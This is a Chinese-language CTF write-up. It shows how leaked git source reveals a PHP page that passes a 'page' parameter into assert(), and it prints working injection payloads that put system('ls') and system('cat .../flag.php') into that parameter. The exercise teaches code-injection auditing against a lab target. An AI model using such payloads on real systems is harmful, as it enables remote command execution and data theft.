1
2
3
4
知识点:
git源码泄露
assert() 函数命令执行
system() 函数中执行的命令如果有参数设置,则一定得加上分号

打开题目,在 About 页面中发现项目使用了 Git

1557636637006

用 GIt 源码泄露用工具提取源码

1557636777279

代码审计后发现突破点在 index.php 中的这段代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php

if (isset($_GET['page'])) {
$page = $_GET['page'];
} else {
$page = "home";
}

$file = "templates/" . $page . ".php";

// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");

?>

虽然代码过滤了 .. 让我们无法读取到上级目录中的内容,但是代码中有个 assert 函数,它能够整个字符串参数当php代码执行与 eval 函数类似

所以我们构造 http://111.198.29.45:55672/?page='.system('ls').'

在代码中 assert 函数中的参数变成了assert("strpos(''.system('ls').'', '..') === false")

1557637910231

成功执行命令,接着就是读取 flag .php 中的内容

payload 111.198.29.45:55672/?page='.system('cat ../html/templates/flag.php').'

1557637991030